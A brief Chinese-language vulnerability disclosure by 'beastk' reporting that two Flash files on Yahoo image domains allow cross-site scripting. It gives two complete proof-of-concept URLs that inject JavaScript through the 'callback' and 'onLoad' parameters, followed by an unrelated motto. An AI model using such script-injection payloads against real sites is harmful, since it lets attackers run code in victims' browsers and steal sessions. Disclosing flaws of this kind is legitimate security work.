作者 beastk
yimg两个flash过滤不严格,存在跨站
http://mail.yimg.com/nq/mc/1_0_0/us/pim/userstatus_2.swf?url=http://www.baidu.com&callback=function(){alert(0)}()
http://l.yimg.com/pb/webplayer/0.9.32/flash/swfproxy.swf?onLoad=alert%280%29
each stage has something to do in each stage, take every step well.